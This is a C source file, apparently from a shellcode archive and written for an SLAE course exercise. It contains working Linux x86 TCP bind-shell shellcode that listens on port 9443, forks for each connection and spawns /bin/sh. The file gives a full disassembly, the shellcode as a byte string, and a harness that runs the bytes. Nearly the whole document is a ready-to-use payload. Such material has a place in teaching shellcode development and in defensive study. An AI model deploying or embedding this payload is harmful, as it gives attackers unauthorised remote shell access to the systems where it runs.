88 lines
No EOL
3.9 KiB
C
88 lines
No EOL
3.9 KiB
C
/*
|
|
Title: Linux x86 TCP Bind Shell + fork() - 113 bytes (NULL Free)
|
|
Author: Amine Kanane <aminekanane_93@hotmail.com>
|
|
Student-ID: SLAE - 1203
|
|
Desc: Listen for a connection on Local Port 9443 and spawn a command shell
|
|
This version support multiple simultaneous connections using fork().
|
|
Also this shellcode does not use the classic socketcall() syscall.
|
|
Tested on: Linux/x86 - SMP Debian 4.9.30-1kali1
|
|
Date: 7 May 2018
|
|
Disassembly of section .text:
|
|
08048060 <_start>:
|
|
8048060: 31 c0 xor eax,eax
|
|
8048062: 31 db xor ebx,ebx
|
|
8048064: 31 c9 xor ecx,ecx
|
|
8048066: 31 d2 xor edx,edx
|
|
8048068: 66 b8 67 01 mov ax,0x167
|
|
804806c: b3 02 mov bl,0x2
|
|
804806e: b1 01 mov cl,0x1
|
|
8048070: cd 80 int 0x80
|
|
8048072: 89 c3 mov ebx,eax
|
|
8048074: 66 b8 69 01 mov ax,0x169
|
|
8048078: 52 push edx
|
|
8048079: 66 68 24 e3 pushw 0xe324 ; <== This is where we set the port number, please note that you need to adapt the number using htons() before :)
|
|
804807d: 66 6a 02 pushw 0x2
|
|
8048080: 89 e1 mov ecx,esp
|
|
8048082: b2 10 mov dl,0x10
|
|
8048084: cd 80 int 0x80
|
|
8048086: 66 b8 6b 01 mov ax,0x16b
|
|
804808a: 31 c9 xor ecx,ecx
|
|
804808c: cd 80 int 0x80
|
|
0804808e <infinite>:
|
|
804808e: 31 d2 xor edx,edx
|
|
8048090: 31 f6 xor esi,esi
|
|
8048092: 66 b8 6c 01 mov ax,0x16c
|
|
8048096: cd 80 int 0x80
|
|
8048098: 89 c6 mov esi,eax
|
|
804809a: 31 c0 xor eax,eax
|
|
804809c: b0 02 mov al,0x2
|
|
804809e: cd 80 int 0x80
|
|
80480a0: 31 ff xor edi,edi
|
|
80480a2: 39 f8 cmp eax,edi
|
|
80480a4: 75 e8 jne 804808e <infinite>
|
|
80480a6: 31 c0 xor eax,eax
|
|
80480a8: b0 06 mov al,0x6
|
|
80480aa: cd 80 int 0x80
|
|
80480ac: 89 f3 mov ebx,esi
|
|
80480ae: b1 02 mov cl,0x2
|
|
080480b0 <loop_dup>:
|
|
80480b0: b0 3f mov al,0x3f
|
|
80480b2: cd 80 int 0x80
|
|
80480b4: fe c9 dec cl
|
|
80480b6: 79 f8 jns 80480b0 <loop_dup>
|
|
80480b8: 31 c0 xor eax,eax
|
|
80480ba: 50 push eax
|
|
80480bb: 89 e2 mov edx,esp
|
|
80480bd: 68 2f 2f 73 68 push 0x68732f2f
|
|
80480c2: 68 2f 62 69 6e push 0x6e69622f
|
|
80480c7: 89 e3 mov ebx,esp
|
|
80480c9: 50 push eax
|
|
80480ca: 53 push ebx
|
|
80480cb: 89 e1 mov ecx,esp
|
|
80480cd: b0 0b mov al,0xb
|
|
80480cf: cd 80 int 0x80
|
|
*/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8"
|
|
"\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3"
|
|
"\x66\xb8\x69\x01\x52\x66\x68"
|
|
"\x24\xe3" // ==> port number = 9443; sock_ad.sin_port = htons(9443);
|
|
"\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x66"
|
|
"\xb8\x6b\x01\x31\xc9\xcd\x80\x31\xd2\x31"
|
|
"\xf6\x66\xb8\x6c\x01\xcd\x80\x89\xc6\x31"
|
|
"\xc0\xb0\x02\xcd\x80\x31\xff\x39\xf8\x75"
|
|
"\xe8\x31\xc0\xb0\x06\xcd\x80\x89\xf3\xb1"
|
|
"\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x31"
|
|
"\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68"
|
|
"\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
|
|
"\xb0\x0b\xcd\x80";
|
|
main()
|
|
{
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
|
|
int (*ret)() = (int(*)())code;
|
|
ret();
|
|
} |